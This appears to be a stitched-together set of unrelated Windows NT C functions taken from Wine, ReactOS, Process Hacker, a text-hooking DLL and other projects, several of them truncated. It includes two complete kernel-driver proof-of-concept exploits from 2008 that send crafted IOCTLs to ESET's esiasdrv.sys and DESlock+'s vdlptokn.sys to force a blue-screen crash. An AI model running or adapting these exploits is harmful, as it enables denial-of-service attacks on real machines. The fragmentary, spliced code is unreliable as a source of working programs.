/*********************************************************************** * NtSetContextThread (NTDLL.@) * ZwSetContextThread (NTDLL.@) */ NTSTATUS WINAPI NtSetContextThread( HANDLE handle, const CONTEXT *context ) { NTSTATUS ret; DWORD dummy, i; BOOL self = FALSE; #ifdef __i386__ /* on i386 debug registers always require a server call */ self = (handle == GetCurrentThread()); if (self && (context->ContextFlags & (CONTEXT_DEBUG_REGISTERS & ~CONTEXT_i386))) { self = (ntdll_get_thread_data()->dr0 == context->Dr0 && ntdll_get_thread_data()->dr1 == context->Dr1 && ntdll_get_thread_data()->dr2 == context->Dr2 && ntdll_get_thread_data()->dr3 == context->Dr3 && ntdll_get_thread_data()->dr6 == context->Dr6 && ntdll_get_thread_data()->dr7 == context->Dr7); } #endif if (!self) { context_t server_context; context_to_server( &server_context, context ); SERVER_START_REQ( set_thread_context ) { req->handle = wine_server_obj_handle( handle ); req->suspend = 0; wine_server_add_data( req, &server_context, sizeof(server_context) ); ret = wine_server_call( req ); self = reply->self; } SERVER_END_REQ; if (ret == STATUS_PENDING) { if (NtSuspendThread( handle, &dummy ) == STATUS_SUCCESS) { for (i = 0; i < 100; i++) { SERVER_START_REQ( set_thread_context ) { req->handle = wine_server_obj_handle( handle ); req->suspend = 0; wine_server_add_data( req, &server_context, sizeof(server_context) ); ret = wine_server_call( req ); } SERVER_END_REQ; if (ret == STATUS_PENDING) { LARGE_INTEGER timeout; timeout.QuadPart = -10000; NtDelayExecution( FALSE, &timeout ); } else break; } NtResumeThread( handle, &dummy ); } if (ret == STATUS_PENDING) ret = STATUS_ACCESS_DENIED; } if (ret) return ret; }
int __cdecl main(int argc, char **argv) { NTSTATUS NtStatus; HANDLE DeviceHandle; ULONG InputBuffer; UNICODE_STRING DeviceName; OBJECT_ATTRIBUTES ObjectAttributes; IO_STATUS_BLOCK IoStatusBlock; LARGE_INTEGER Interval; /////////////////////////////////////////////////////////////////////////////////////////////// system("cls"); printf( " +----------------------------------------------------------------------------+\n" " | |\n" " | ESET, LLC. - http://www.eset.com/ |\n" " | |\n" " | Affected Software: |\n" " | ESET System Analyzer Tool - 1.1.1.0 |\n" " | |\n" " | Affected Driver: |\n" " | Eset SysInspector AntiStealth driver - 3.0.65535.0 - esiasdrv.sys |\n" " | Proof of Concept Exploit |\n" " | |\n" " +----------------------------------------------------------------------------+\n" " | |\n" " | NT Internals - http://www.ntinternals.org/ |\n" " | alex ntinternals org |\n" " | 01 October 2008 |\n" " | |\n" " +----------------------------------------------------------------------------+\n\n"); /////////////////////////////////////////////////////////////////////////////////////////////// RtlInitUnicodeString(&DeviceName, L"\\Device\\esiasdrv"); ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES); ObjectAttributes.RootDirectory = 0; ObjectAttributes.ObjectName = &DeviceName; ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE; ObjectAttributes.SecurityDescriptor = NULL; ObjectAttributes.SecurityQualityOfService = NULL; NtStatus = NtCreateFile( &DeviceHandle, // FileHandle FILE_READ_DATA | FILE_WRITE_DATA, // DesiredAccess &ObjectAttributes, // ObjectAttributes &IoStatusBlock, // IoStatusBlock NULL, // AllocationSize OPTIONAL 0, // FileAttributes FILE_SHARE_READ | FILE_SHARE_WRITE, // ShareAccess FILE_OPEN_IF, // CreateDisposition 0, // CreateOptions NULL, // EaBuffer OPTIONAL 0); // EaLength /* if(NtStatus) { printf(" [*] NtStatus of NtCreateFile - 0x%.8X\n", NtStatus); return NtStatus; } */ Interval.LowPart = 0xFF676980; Interval.HighPart = 0xFFFFFFFF; printf("\n 3"); NtDelayExecution(FALSE, &Interval); printf(" 2"); NtDelayExecution(FALSE, &Interval); printf(" 1"); NtDelayExecution(FALSE, &Interval); printf(" Upss\n\n"); NtDelayExecution(FALSE, &Interval); // // Choose type of BSoD // // InputBuffer = 0x12345678; InputBuffer = 0; NtStatus = NtDeviceIoControlFile( DeviceHandle, // FileHandle NULL, // Event NULL, // ApcRoutine NULL, // ApcContext &IoStatusBlock, // IoStatusBlock IOCTL_METHOD_NEIGHTER, // FsControlCode &InputBuffer, // InputBuffer BUFFER_LENGTH, // InputBufferLength (PVOID)0x80000000, // OutputBuffer BUFFER_LENGTH); // OutBufferLength if(NtStatus) { printf(" [*] NtStatus of NtDeviceIoControlFile - 0x%.8X\n", NtStatus); return NtStatus; } NtStatus = NtClose(DeviceHandle); // Handle if(NtStatus) { printf(" [*] NtStatus of NtClose - 0x%.8X\n", NtStatus); return NtStatus; } return FALSE; }
ULONG NTAPI SmpApiLoop(IN PVOID Parameter) { HANDLE SmApiPort = (HANDLE)Parameter; NTSTATUS Status; PSMP_CLIENT_CONTEXT ClientContext; PSM_API_MSG ReplyMsg = NULL; SM_API_MSG RequestMsg; PROCESS_BASIC_INFORMATION ProcessInformation; LARGE_INTEGER Timeout; /* Increase the number of API threads for throttling code for later */ _InterlockedExchangeAdd(&SmTotalApiThreads, 1); /* Mark us critical */ RtlSetThreadIsCritical(TRUE, NULL, TRUE); /* Set the PID of the SM process itself for later checking */ NtQueryInformationProcess(NtCurrentProcess(), ProcessBasicInformation, &ProcessInformation, sizeof(ProcessInformation), NULL); SmUniqueProcessId = (HANDLE)ProcessInformation.UniqueProcessId; /* Now process incoming messages */ while (TRUE) { /* Begin waiting on a request */ Status = NtReplyWaitReceivePort(SmApiPort, (PVOID*)&ClientContext, &ReplyMsg->h, &RequestMsg.h); if (Status == STATUS_NO_MEMORY) { /* Ran out of memory, so do a little timeout and try again */ if (ReplyMsg) DPRINT1("SMSS: Failed to reply to calling thread, retrying.\n"); Timeout.QuadPart = -50000000; NtDelayExecution(FALSE, &Timeout); continue; } /* Check what kind of request we received */ switch (RequestMsg.h.u2.s2.Type) { /* A new connection */ case LPC_CONNECTION_REQUEST: /* Create the right structures for it */ SmpHandleConnectionRequest(SmApiPort, (PSB_API_MSG)&RequestMsg); ReplyMsg = NULL; break; /* A closed connection */ case LPC_PORT_CLOSED: /* Destroy any state we had for this client */ DPRINT1("Port closed\n"); //if (ClientContext) SmpPushDeferredClientContext(ClientContext); ReplyMsg = NULL; break; /* An actual API message */ default: if (!ClientContext) { ReplyMsg = NULL; break; } RequestMsg.ReturnValue = STATUS_PENDING; /* Check if the API is valid */ if (RequestMsg.ApiNumber >= SmpMaxApiNumber) { /* It isn't, fail */ DPRINT1("Invalid API: %lx\n", RequestMsg.ApiNumber); Status = STATUS_NOT_IMPLEMENTED; } else if ((RequestMsg.ApiNumber <= SmpTerminateForeignSessionApi) && !(ClientContext->Subsystem)) { /* It's valid, but doesn't have a subsystem with it */ DPRINT1("Invalid session API\n"); Status = STATUS_INVALID_PARAMETER; } else { /* It's totally okay, so call the dispatcher for it */ Status = SmpApiDispatch[RequestMsg.ApiNumber](&RequestMsg, ClientContext, SmApiPort); } /* Write the result valud and return the message back */ RequestMsg.ReturnValue = Status; ReplyMsg = &RequestMsg; break; } } return STATUS_SUCCESS; }
static INT_PTR CALLBACK PhpHiddenProcessesDlgProc( _In_ HWND hwndDlg, _In_ UINT uMsg, _In_ WPARAM wParam, _In_ LPARAM lParam ) { switch (uMsg) { case WM_INITDIALOG: { HWND lvHandle; PhCenterWindow(hwndDlg, GetParent(hwndDlg)); PhHiddenProcessesListViewHandle = lvHandle = GetDlgItem(hwndDlg, IDC_PROCESSES); PhInitializeLayoutManager(&WindowLayoutManager, hwndDlg); PhAddLayoutItem(&WindowLayoutManager, GetDlgItem(hwndDlg, IDC_INTRO), NULL, PH_ANCHOR_LEFT | PH_ANCHOR_TOP | PH_ANCHOR_RIGHT | PH_LAYOUT_FORCE_INVALIDATE); PhAddLayoutItem(&WindowLayoutManager, lvHandle, NULL, PH_ANCHOR_ALL); PhAddLayoutItem(&WindowLayoutManager, GetDlgItem(hwndDlg, IDC_DESCRIPTION), NULL, PH_ANCHOR_LEFT | PH_ANCHOR_RIGHT | PH_ANCHOR_BOTTOM | PH_LAYOUT_FORCE_INVALIDATE); PhAddLayoutItem(&WindowLayoutManager, GetDlgItem(hwndDlg, IDC_METHOD), NULL, PH_ANCHOR_LEFT | PH_ANCHOR_BOTTOM); PhAddLayoutItem(&WindowLayoutManager, GetDlgItem(hwndDlg, IDC_TERMINATE), NULL, PH_ANCHOR_RIGHT | PH_ANCHOR_BOTTOM); PhAddLayoutItem(&WindowLayoutManager, GetDlgItem(hwndDlg, IDC_SAVE), NULL, PH_ANCHOR_RIGHT | PH_ANCHOR_BOTTOM); PhAddLayoutItem(&WindowLayoutManager, GetDlgItem(hwndDlg, IDC_SCAN), NULL, PH_ANCHOR_RIGHT | PH_ANCHOR_BOTTOM); PhAddLayoutItem(&WindowLayoutManager, GetDlgItem(hwndDlg, IDOK), NULL, PH_ANCHOR_RIGHT | PH_ANCHOR_BOTTOM); MinimumSize.left = 0; MinimumSize.top = 0; MinimumSize.right = 330; MinimumSize.bottom = 140; MapDialogRect(hwndDlg, &MinimumSize); PhRegisterDialog(hwndDlg); PhLoadWindowPlacementFromSetting(L"HiddenProcessesWindowPosition", L"HiddenProcessesWindowSize", hwndDlg); PhSetListViewStyle(lvHandle, TRUE, TRUE); PhSetControlTheme(lvHandle, L"explorer"); PhAddListViewColumn(lvHandle, 0, 0, 0, LVCFMT_LEFT, 320, L"Process"); PhAddListViewColumn(lvHandle, 1, 1, 1, LVCFMT_LEFT, 60, L"PID"); PhSetExtendedListView(lvHandle); PhLoadListViewColumnsFromSetting(L"HiddenProcessesListViewColumns", lvHandle); ExtendedListView_AddFallbackColumn(lvHandle, 0); ExtendedListView_AddFallbackColumn(lvHandle, 1); ExtendedListView_SetItemColorFunction(lvHandle, PhpHiddenProcessesColorFunction); ComboBox_AddString(GetDlgItem(hwndDlg, IDC_METHOD), L"Brute Force"); ComboBox_AddString(GetDlgItem(hwndDlg, IDC_METHOD), L"CSR Handles"); PhSelectComboBoxString(GetDlgItem(hwndDlg, IDC_METHOD), L"CSR Handles", FALSE); EnableWindow(GetDlgItem(hwndDlg, IDC_TERMINATE), FALSE); } break; case WM_DESTROY: { PhSaveWindowPlacementToSetting(L"HiddenProcessesWindowPosition", L"HiddenProcessesWindowSize", hwndDlg); PhSaveListViewColumnsToSetting(L"HiddenProcessesListViewColumns", PhHiddenProcessesListViewHandle); } break; case WM_CLOSE: { // Hide, don't close. ShowWindow(hwndDlg, SW_HIDE); SetWindowLongPtr(hwndDlg, DWLP_MSGRESULT, 0); } return TRUE; case WM_COMMAND: { switch (LOWORD(wParam)) { case IDCANCEL: case IDOK: { SendMessage(hwndDlg, WM_CLOSE, 0, 0); } break; case IDC_SCAN: { NTSTATUS status; PPH_STRING method; method = PhGetWindowText(GetDlgItem(hwndDlg, IDC_METHOD)); PhAutoDereferenceObject(method); if (ProcessesList) { ULONG i; for (i = 0; i < ProcessesList->Count; i++) { PPH_HIDDEN_PROCESS_ENTRY entry = ProcessesList->Items[i]; if (entry->FileName) PhDereferenceObject(entry->FileName); PhFree(entry); } PhDereferenceObject(ProcessesList); } ListView_DeleteAllItems(PhHiddenProcessesListViewHandle); ProcessesList = PhCreateList(40); ProcessesMethod = PhEqualString2(method, L"Brute Force", TRUE) ? BruteForceScanMethod : CsrHandlesScanMethod; NumberOfHiddenProcesses = 0; NumberOfTerminatedProcesses = 0; ExtendedListView_SetRedraw(PhHiddenProcessesListViewHandle, FALSE); status = PhEnumHiddenProcesses( ProcessesMethod, PhpHiddenProcessesCallback, NULL ); ExtendedListView_SortItems(PhHiddenProcessesListViewHandle); ExtendedListView_SetRedraw(PhHiddenProcessesListViewHandle, TRUE); if (NT_SUCCESS(status)) { SetDlgItemText(hwndDlg, IDC_DESCRIPTION, PhaFormatString(L"%u hidden process(es), %u terminated process(es).", NumberOfHiddenProcesses, NumberOfTerminatedProcesses)->Buffer ); InvalidateRect(GetDlgItem(hwndDlg, IDC_DESCRIPTION), NULL, TRUE); } else { PhShowStatus(hwndDlg, L"Unable to perform the scan", status, 0); } } break; case IDC_TERMINATE: { PPH_HIDDEN_PROCESS_ENTRY *entries; ULONG numberOfEntries; ULONG i; PhGetSelectedListViewItemParams(PhHiddenProcessesListViewHandle, &entries, &numberOfEntries); if (numberOfEntries != 0) { if (!PhGetIntegerSetting(L"EnableWarnings") || PhShowConfirmMessage( hwndDlg, L"terminate", L"the selected process(es)", L"Terminating a hidden process may cause the system to become unstable " L"or crash.", TRUE )) { NTSTATUS status; HANDLE processHandle; BOOLEAN refresh; refresh = FALSE; for (i = 0; i < numberOfEntries; i++) { if (ProcessesMethod == BruteForceScanMethod) { status = PhOpenProcess( &processHandle, PROCESS_TERMINATE, entries[i]->ProcessId ); } else { status = PhOpenProcessByCsrHandles( &processHandle, PROCESS_TERMINATE, entries[i]->ProcessId ); } if (NT_SUCCESS(status)) { status = PhTerminateProcess(processHandle, STATUS_SUCCESS); NtClose(processHandle); if (NT_SUCCESS(status)) refresh = TRUE; } else { PhShowStatus(hwndDlg, L"Unable to terminate the process", status, 0); } } if (refresh) { LARGE_INTEGER interval; // Sleep for a bit before continuing. It seems to help avoid // BSODs. interval.QuadPart = -250 * PH_TIMEOUT_MS; NtDelayExecution(FALSE, &interval); SendMessage(hwndDlg, WM_COMMAND, IDC_SCAN, 0); } } } PhFree(entries); } break; case IDC_SAVE: { static PH_FILETYPE_FILTER filters[] = { { L"Text files (*.txt)", L"*.txt" }, { L"All files (*.*)", L"*.*" } }; PVOID fileDialog; fileDialog = PhCreateSaveFileDialog(); PhSetFileDialogFilter(fileDialog, filters, sizeof(filters) / sizeof(PH_FILETYPE_FILTER)); PhSetFileDialogFileName(fileDialog, L"Hidden Processes.txt"); if (PhShowFileDialog(hwndDlg, fileDialog)) { NTSTATUS status; PPH_STRING fileName; PPH_FILE_STREAM fileStream; fileName = PhGetFileDialogFileName(fileDialog); PhAutoDereferenceObject(fileName); if (NT_SUCCESS(status = PhCreateFileStream( &fileStream, fileName->Buffer, FILE_GENERIC_WRITE, FILE_SHARE_READ, FILE_OVERWRITE_IF, 0 ))) { PhWriteStringAsUtf8FileStream(fileStream, &PhUnicodeByteOrderMark); PhWritePhTextHeader(fileStream); PhWriteStringAsUtf8FileStream2(fileStream, L"Method: "); PhWriteStringAsUtf8FileStream2(fileStream, ProcessesMethod == BruteForceScanMethod ? L"Brute Force\r\n" : L"CSR Handles\r\n"); PhWriteStringFormatAsUtf8FileStream( fileStream, L"Hidden: %u\r\nTerminated: %u\r\n\r\n", NumberOfHiddenProcesses, NumberOfTerminatedProcesses ); if (ProcessesList) { ULONG i; for (i = 0; i < ProcessesList->Count; i++) { PPH_HIDDEN_PROCESS_ENTRY entry = ProcessesList->Items[i]; if (entry->Type == HiddenProcess) PhWriteStringAsUtf8FileStream2(fileStream, L"[HIDDEN] "); else if (entry->Type == TerminatedProcess) PhWriteStringAsUtf8FileStream2(fileStream, L"[Terminated] "); else if (entry->Type != NormalProcess) continue; PhWriteStringFormatAsUtf8FileStream( fileStream, L"%s (%u)\r\n", entry->FileName->Buffer, HandleToUlong(entry->ProcessId) ); } } PhDereferenceObject(fileStream); } if (!NT_SUCCESS(status)) PhShowStatus(hwndDlg, L"Unable to create the file", status, 0); } PhFreeFileDialog(fileDialog); } break; } } break; case WM_NOTIFY: { LPNMHDR header = (LPNMHDR)lParam; PhHandleListViewNotifyBehaviors(lParam, PhHiddenProcessesListViewHandle, PH_LIST_VIEW_DEFAULT_1_BEHAVIORS); switch (header->code) { case LVN_ITEMCHANGED: { if (header->hwndFrom == PhHiddenProcessesListViewHandle) { EnableWindow( GetDlgItem(hwndDlg, IDC_TERMINATE), ListView_GetSelectedCount(PhHiddenProcessesListViewHandle) > 0 ); } } break; case NM_DBLCLK: { if (header->hwndFrom == PhHiddenProcessesListViewHandle) { PPH_HIDDEN_PROCESS_ENTRY entry; entry = PhGetSelectedListViewItemParam(PhHiddenProcessesListViewHandle); if (entry) { PPH_PROCESS_ITEM processItem; if (processItem = PhpCreateProcessItemForHiddenProcess(entry)) { ProcessHacker_ShowProcessProperties(PhMainWndHandle, processItem); PhDereferenceObject(processItem); } else { PhShowError(hwndDlg, L"Unable to create a process structure for the selected process."); } } } } break; } } break; case WM_SIZE: { PhLayoutManagerLayout(&WindowLayoutManager); } break; case WM_SIZING: { PhResizingMinimumSize((PRECT)lParam, wParam, MinimumSize.right, MinimumSize.bottom); } break; case WM_CTLCOLORSTATIC: { if ((HWND)lParam == GetDlgItem(hwndDlg, IDC_DESCRIPTION)) { if (NumberOfHiddenProcesses != 0) { SetTextColor((HDC)wParam, RGB(0xff, 0x00, 0x00)); } SetBkColor((HDC)wParam, GetSysColor(COLOR_3DFACE)); return (INT_PTR)GetSysColorBrush(COLOR_3DFACE); } } break; } REFLECT_MESSAGE_DLG(hwndDlg, PhHiddenProcessesListViewHandle, uMsg, wParam, lParam); return FALSE; }
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { static WCHAR dll_exist[] = L"ITH_DLL_RUNNING"; static HANDLE hDllExist; switch (fdwReason) { case DLL_PROCESS_ATTACH: { LdrDisableThreadCalloutsForDll(hinstDLL); IthBreak(); module_base = (DWORD)hinstDLL; IthInitSystemService(); DWORD s; swprintf(hm_section,L"ITH_SECTION_%d",current_process_id); hSection=IthCreateSection(hm_section,0x2000,PAGE_EXECUTE_READWRITE); NtMapViewOfSection(hSection,NtCurrentProcess(),(PVOID*)&hookman,0, hook_buff_len,0,&hook_buff_len,ViewUnmap,0,PAGE_EXECUTE_READWRITE); LPWSTR p; for (p = GetMainModulePath(); *p; p++); for (p = p; *p != L'\\'; p--); wcscpy(dll_name,p+1); //swprintf(dll_mutex,L"ITH_%.4d_%s",current_process_id,current_dir); swprintf(dll_mutex,L"ITH_%d",current_process_id); swprintf(hm_mutex,L"ITH_HOOKMAN_%d",current_process_id); hmMutex=IthCreateMutex(hm_mutex,0); hMutex=IthCreateMutex(dll_mutex,1,&s); if (s) return FALSE; hDllExist = IthCreateMutex(dll_exist, 0); hDLL=hinstDLL; running=true; current_available=hookman; GetFunctionNames(); InitFilterTable(); InitDefaultHook(); hSendThread=IthCreateThread(WaitForPipe,0); hCmdThread=IthCreateThread(CommandPipe,0); } break; case DLL_PROCESS_DETACH: { running=false; live=false; NtWaitForSingleObject(hSendThread,0,0); NtWaitForSingleObject(hCmdThread,0,0); NtClose(hCmdThread); NtClose(hSendThread); for (TextHook* man=hookman;man->RemoveHook();man++); LARGE_INTEGER lint={-10000,-1}; while (enter_count) NtDelayExecution(0,&lint); for (TextHook* man=hookman;man<hookman+MAX_HOOK;man++) man->ClearHook(); NtUnmapViewOfSection(NtCurrentProcess(),hookman); NtClose(hSection); NtClose(hMutex); delete tree; IthCloseSystemService(); NtClose(hmMutex); NtClose(hDllExist); break; } default: break; } return TRUE; }
static NTSTATUS _OpenNtName( IN PCSTR Name, IN BOOLEAN Readonly, OUT PHANDLE Handle, OUT PBOOLEAN OpenedReadonly OPTIONAL ) { UNICODE_STRING UnicodeString; ANSI_STRING AnsiString; WCHAR Buffer[512]; NTSTATUS Status; OBJECT_ATTRIBUTES ObjectAttributes; IO_STATUS_BLOCK IoStatusBlock; UnicodeString.Buffer = &Buffer[0]; UnicodeString.Length = 0; UnicodeString.MaximumLength = sizeof(Buffer); RtlInitAnsiString(&AnsiString, Name); Status = RtlAnsiStringToUnicodeString(&UnicodeString, &AnsiString, FALSE); if(!NT_SUCCESS(Status)) { return Status; } InitializeObjectAttributes(&ObjectAttributes, &UnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL ); if(ARGUMENT_PRESENT(OpenedReadonly)) { *OpenedReadonly = Readonly; } Status = NtOpenFile(Handle, SYNCHRONIZE | FILE_READ_DATA | (Readonly ? 0 : FILE_WRITE_DATA), &ObjectAttributes, &IoStatusBlock, FILE_SHARE_WRITE | FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); if(!NT_SUCCESS(Status)) { LARGE_INTEGER Interval; Interval.QuadPart = -5000000; NtDelayExecution(FALSE, &Interval); Status = NtOpenFile(Handle, SYNCHRONIZE | FILE_READ_DATA | (Readonly ? 0 : FILE_WRITE_DATA), &ObjectAttributes, &IoStatusBlock, FILE_SHARE_WRITE | FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); if((STATUS_ACCESS_DENIED == Status) && !Readonly) { if(ARGUMENT_PRESENT(OpenedReadonly)) { *OpenedReadonly = TRUE; } Status = NtOpenFile(Handle, SYNCHRONIZE | FILE_READ_DATA, &ObjectAttributes, &IoStatusBlock, FILE_SHARE_WRITE | FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); } } return Status; }
static BOOLEAN PhpRunTerminatorTest( _In_ HWND WindowHandle, _In_ INT Index ) { NTSTATUS status; PTEST_ITEM testItem; PPH_PROCESS_ITEM processItem; HWND lvHandle; PVOID processes; BOOLEAN success = FALSE; LARGE_INTEGER interval; processItem = (PPH_PROCESS_ITEM)GetProp(WindowHandle, L"ProcessItem"); lvHandle = GetDlgItem(WindowHandle, IDC_TERMINATOR_LIST); if (!PhGetListViewItemParam( lvHandle, Index, &testItem )) return FALSE; if (WSTR_EQUAL(testItem->Id, L"TT4")) { if (!PhShowConfirmMessage( WindowHandle, L"run", L"the TT4 test", L"The TT4 test may cause the system to crash.", TRUE )) return FALSE; } status = testItem->TestProc(processItem->ProcessId); interval.QuadPart = -1000 * PH_TIMEOUT_MS; NtDelayExecution(FALSE, &interval); if (status == STATUS_NOT_SUPPORTED) { PPH_STRING concat; concat = PhConcatStrings2(L"(Not available) ", testItem->Description); PhSetListViewSubItem(lvHandle, Index, 1, concat->Buffer); PhDereferenceObject(concat); } if (!NT_SUCCESS(PhEnumProcesses(&processes))) return FALSE; // Check if the process exists. if (!PhFindProcessInformation(processes, processItem->ProcessId)) { PhSetListViewItemImageIndex(lvHandle, Index, TICK_INDEX); SetDlgItemText(WindowHandle, IDC_TERMINATOR_TEXT, L"The process was terminated."); success = TRUE; } else { PhSetListViewItemImageIndex(lvHandle, Index, CROSS_INDEX); } PhFree(processes); UpdateWindow(WindowHandle); return success; }
int __cdecl main(int argc, char **argv) { NTSTATUS NtStatus; HANDLE DeviceHandle; UNICODE_STRING DeviceName; OBJECT_ATTRIBUTES ObjectAttributes; IO_STATUS_BLOCK IoStatusBlock; LARGE_INTEGER Interval; /////////////////////////////////////////////////////////////////////////////////////////////// system("cls"); printf( " +----------------------------------------------------------------------------+\n" " | |\n" " | Data Encryption Systems Ltd. - http://www.deslock.com/ |\n" " | Data Encryption Systems DESlock+ - 3.2.7 |\n" " | DESlock+ Virtual Token Driver - 1.0.2.43 - vdlptokn.sys |\n" " | DoS Exploit |\n" " | |\n" " +----------------------------------------------------------------------------+\n" " | |\n" " | NT Internals - http://www.ntinternals.org/ |\n" " | alex ntinternals org |\n" " | 21 September 2008 |\n" " | |\n" " +----------------------------------------------------------------------------+\n\n"); /////////////////////////////////////////////////////////////////////////////////////////////// RtlInitUnicodeString(&DeviceName, L"\\Device\\DLPTokenWalter0"); ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES); ObjectAttributes.RootDirectory = 0; ObjectAttributes.ObjectName = &DeviceName; ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE; ObjectAttributes.SecurityDescriptor = NULL; ObjectAttributes.SecurityQualityOfService = NULL; NtStatus = NtCreateFile( &DeviceHandle, // FileHandle FILE_READ_DATA | FILE_WRITE_DATA, // DesiredAccess &ObjectAttributes, // ObjectAttributes &IoStatusBlock, // IoStatusBlock NULL, // AllocationSize OPTIONAL 0, // FileAttributes FILE_SHARE_READ | FILE_SHARE_WRITE, // ShareAccess FILE_OPEN_IF, // CreateDisposition 0, // CreateOptions NULL, // EaBuffer OPTIONAL 0); // EaLength if(NtStatus) { printf(" [*] NtStatus of NtCreateFile - 0x%.8X\n", NtStatus); return NtStatus; } RtlFreeUnicodeString(&DeviceName); /////////////////////////////////////////////////////////////////////////////////////////////// Interval.LowPart = 0xFF676980; Interval.HighPart = 0xFFFFFFFF; printf(" 3"); NtDelayExecution(FALSE, &Interval); printf(" 2"); NtDelayExecution(FALSE, &Interval); printf(" 1"); NtDelayExecution(FALSE, &Interval); printf(" BSoD\n\n"); NtDelayExecution(FALSE, &Interval); NtStatus = NtDeviceIoControlFile( DeviceHandle, // FileHandle NULL, // Event NULL, // ApcRoutine NULL, // ApcContext &IoStatusBlock, // IoStatusBlock 0x002220C0, // IoControlCode NULL, // InputBuffer 0, // InputBufferLength NULL, // OutputBuffer 0); // OutBufferLength if(NtStatus) { printf(" [*] NtStatus of NtDeviceIoControlFile - 0x%.8X\n", NtStatus); return NtStatus; } /////////////////////////////////////////////////////////////////////////////////////////////// NtStatus = NtClose(DeviceHandle); // Handle if(NtStatus) { printf(" [*] NtStatus of NtClose - 0x%.8X\n", NtStatus); return NtStatus; } return 0; }
/*++ * @name CsrApiRequestThread * * The CsrApiRequestThread routine handles incoming messages or connection * requests on the CSR API LPC Port. * * @param Parameter * System-default user-defined parameter. Unused. * * @return The thread exit code, if the thread is terminated. * * @remarks Before listening on the port, the routine will first attempt * to connect to the user subsystem. * *--*/ NTSTATUS NTAPI CsrApiRequestThread(IN PVOID Parameter) { PTEB Teb = NtCurrentTeb(); LARGE_INTEGER TimeOut; PCSR_THREAD CurrentThread, CsrThread; NTSTATUS Status; CSR_REPLY_CODE ReplyCode; PCSR_API_MESSAGE ReplyMsg; CSR_API_MESSAGE ReceiveMsg; PCSR_PROCESS CsrProcess; PHARDERROR_MSG HardErrorMsg; PVOID PortContext; PCSR_SERVER_DLL ServerDll; PCLIENT_DIED_MSG ClientDiedMsg; PDBGKM_MSG DebugMessage; ULONG ServerId, ApiId, MessageType, i; HANDLE ReplyPort; /* Setup LPC loop port and message */ ReplyMsg = NULL; ReplyPort = CsrApiPort; /* Connect to user32 */ while (!CsrConnectToUser()) { /* Set up the timeout for the connect (30 seconds) */ TimeOut.QuadPart = -30 * 1000 * 1000 * 10; /* Keep trying until we get a response */ Teb->Win32ClientInfo[0] = 0; NtDelayExecution(FALSE, &TimeOut); } /* Get our thread */ CurrentThread = Teb->CsrClientThread; /* If we got an event... */ if (Parameter) { /* Set it, to let stuff waiting on us load */ Status = NtSetEvent((HANDLE)Parameter, NULL); ASSERT(NT_SUCCESS(Status)); /* Increase the Thread Counts */ InterlockedIncrementUL(&CsrpStaticThreadCount); InterlockedIncrementUL(&CsrpDynamicThreadTotal); } /* Now start the loop */ while (TRUE) { /* Make sure the real CID is set */ Teb->RealClientId = Teb->ClientId; /* Debug check */ if (Teb->CountOfOwnedCriticalSections) { DPRINT1("CSRSRV: FATAL ERROR. CsrThread is Idle while holding %lu critical sections\n", Teb->CountOfOwnedCriticalSections); DPRINT1("CSRSRV: Last Receive Message %lx ReplyMessage %lx\n", &ReceiveMsg, ReplyMsg); DbgBreakPoint(); } /* Wait for a message to come through */ Status = NtReplyWaitReceivePort(ReplyPort, &PortContext, &ReplyMsg->Header, &ReceiveMsg.Header); /* Check if we didn't get success */ if (Status != STATUS_SUCCESS) { /* Was it a failure or another success code? */ if (!NT_SUCCESS(Status)) { /* Check for specific status cases */ if ((Status != STATUS_INVALID_CID) && (Status != STATUS_UNSUCCESSFUL) && ((Status == STATUS_INVALID_HANDLE) || (ReplyPort == CsrApiPort))) { /* Notify the debugger */ DPRINT1("CSRSS: ReceivePort failed - Status == %X\n", Status); DPRINT1("CSRSS: ReplyPortHandle %lx CsrApiPort %lx\n", ReplyPort, CsrApiPort); } /* We failed big time, so start out fresh */ ReplyMsg = NULL; ReplyPort = CsrApiPort; continue; } else { /* A strange "success" code, just try again */ DPRINT1("NtReplyWaitReceivePort returned \"success\" status 0x%x\n", Status); continue; } } /* Use whatever Client ID we got */ Teb->RealClientId = ReceiveMsg.Header.ClientId; /* Get the Message Type */ MessageType = ReceiveMsg.Header.u2.s2.Type; /* Handle connection requests */ if (MessageType == LPC_CONNECTION_REQUEST) { /* Handle the Connection Request */ CsrApiHandleConnectionRequest(&ReceiveMsg); ReplyMsg = NULL; ReplyPort = CsrApiPort; continue; } /* It's some other kind of request. Get the lock for the lookup */ CsrAcquireProcessLock(); /* Now do the lookup to get the CSR_THREAD */ CsrThread = CsrLocateThreadByClientId(&CsrProcess, &ReceiveMsg.Header.ClientId); /* Did we find a thread? */ if (!CsrThread) { /* This wasn't a CSR Thread, release lock */ CsrReleaseProcessLock(); /* If this was an exception, handle it */ if (MessageType == LPC_EXCEPTION) { ReplyMsg = &ReceiveMsg; ReplyPort = CsrApiPort; ReplyMsg->Status = DBG_CONTINUE; } else if (MessageType == LPC_PORT_CLOSED || MessageType == LPC_CLIENT_DIED) { /* The Client or Port are gone, loop again */ ReplyMsg = NULL; ReplyPort = CsrApiPort; } else if (MessageType == LPC_ERROR_EVENT) { /* If it's a hard error, handle this too */ HardErrorMsg = (PHARDERROR_MSG)&ReceiveMsg; /* Default it to unhandled */ HardErrorMsg->Response = ResponseNotHandled; /* Check if there are free api threads */ CsrpCheckRequestThreads(); if (CsrpStaticThreadCount) { /* Loop every Server DLL */ for (i = 0; i < CSR_SERVER_DLL_MAX; i++) { /* Get the Server DLL */ ServerDll = CsrLoadedServerDll[i]; /* Check if it's valid and if it has a Hard Error Callback */ if ((ServerDll) && (ServerDll->HardErrorCallback)) { /* Call it */ ServerDll->HardErrorCallback(NULL /* == CsrThread */, HardErrorMsg); /* If it's handled, get out of here */ if (HardErrorMsg->Response != ResponseNotHandled) break; } } } /* Increase the thread count */ InterlockedIncrementUL(&CsrpStaticThreadCount); /* If the response was 0xFFFFFFFF, we'll ignore it */ if (HardErrorMsg->Response == 0xFFFFFFFF) { ReplyMsg = NULL; ReplyPort = CsrApiPort; } else { ReplyMsg = &ReceiveMsg; ReplyPort = CsrApiPort; } } 